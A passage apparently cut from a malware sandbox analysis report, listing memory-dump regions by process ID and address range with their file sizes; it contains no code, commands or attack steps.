                                                                                                                        Filesize

                                                                                                                        148KB

                                                                                                                      • memory/396-851-0x0000019F588B0000-0x0000019F588D5000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        148KB

                                                                                                                      • memory/636-59-0x000001A2E96F0000-0x000001A2E9715000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        148KB

                                                                                                                      • memory/636-60-0x00007FFBC9C4D000-0x00007FFBC9C4E000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        4KB

                                                                                                                      • memory/636-43-0x000001A2E9720000-0x000001A2E974B000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        172KB

                                                                                                                      • memory/636-848-0x000001A2E96F0000-0x000001A2E9715000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        148KB

                                                                                                                      • memory/636-33-0x000001A2E96F0000-0x000001A2E9715000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        148KB

                                                                                                                      • memory/636-34-0x000001A2E9720000-0x000001A2E974B000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        172KB

                                                                                                                      • memory/636-44-0x00007FFB89C30000-0x00007FFB89C40000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        64KB

                                                                                                                      • memory/636-61-0x00007FFBC9C4F000-0x00007FFBC9C50000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        4KB

                                                                                                                      • memory/636-62-0x00007FFBC9C4C000-0x00007FFBC9C4D000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        4KB

                                                                                                                      • memory/636-35-0x000001A2E9720000-0x000001A2E974B000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        172KB

                                                                                                                      • memory/700-48-0x000001BD12AD0000-0x000001BD12AFB000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        172KB

                                                                                                                      • memory/700-57-0x00007FFB89C30000-0x00007FFB89C40000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        64KB

                                                                                                                      • memory/964-213-0x0000023F683C0000-0x0000023F683E5000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        148KB

                                                                                                                      • memory/964-74-0x00007FFB89C30000-0x00007FFB89C40000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        64KB

                                                                                                                      • memory/964-73-0x0000023F68FA0000-0x0000023F68FCB000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        172KB

                                                                                                                      • memory/964-65-0x0000023F68FA0000-0x0000023F68FCB000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        172KB

                                                                                                                      • memory/964-849-0x0000023F683C0000-0x0000023F683E5000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        148KB

                                                                                                                      • memory/4840-16-0x00007FFBC9BB0000-0x00007FFBC9DA5000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        2.0MB

                                                                                                                      • memory/4840-14-0x00007FFBABAD0000-0x00007FFBAC591000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        10.8MB

                                                                                                                      • memory/4840-1-0x00007FFBABAD0000-0x00007FFBAC591000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        10.8MB

                                                                                                                      • memory/4840-2-0x00007FFBABAD0000-0x00007FFBAC591000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        10.8MB

                                                                                                                      • memory/4840-0-0x00007FFBABAD3000-0x00007FFBABAD5000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        8KB

                                                                                                                      • memory/4840-27-0x00007FFBABAD0000-0x00007FFBAC591000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        10.8MB

                                                                                                                      • memory/4840-3-0x0000015EFEF20000-0x0000015EFEF42000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        136KB

                                                                                                                      • memory/4840-17-0x00007FFBC8160000-0x00007FFBC821E000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        760KB

                                                                                                                      • memory/4840-13-0x00007FFBABAD0000-0x00007FFBAC591000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        10.8MB

                                                                                                                      • memory/4840-15-0x0000015E9A610000-0x0000015E9A63A000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        168KB

                                                                                                                      • memory/4968-18-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        32KB

                                                                                                                      • memory/4968-20-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        32KB

                                                                                                                      • memory/4968-22-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        32KB

                                                                                                                      • memory/4968-30-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        32KB

                                                                                                                      • memory/4968-29-0x00007FFBC8160000-0x00007FFBC821E000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        760KB

                                                                                                                      • memory/4968-19-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        32KB

                                                                                                                      • memory/4968-24-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        32KB

                                                                                                                      • memory/4968-28-0x00007FFBC9BB0000-0x00007FFBC9DA5000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        2.0MB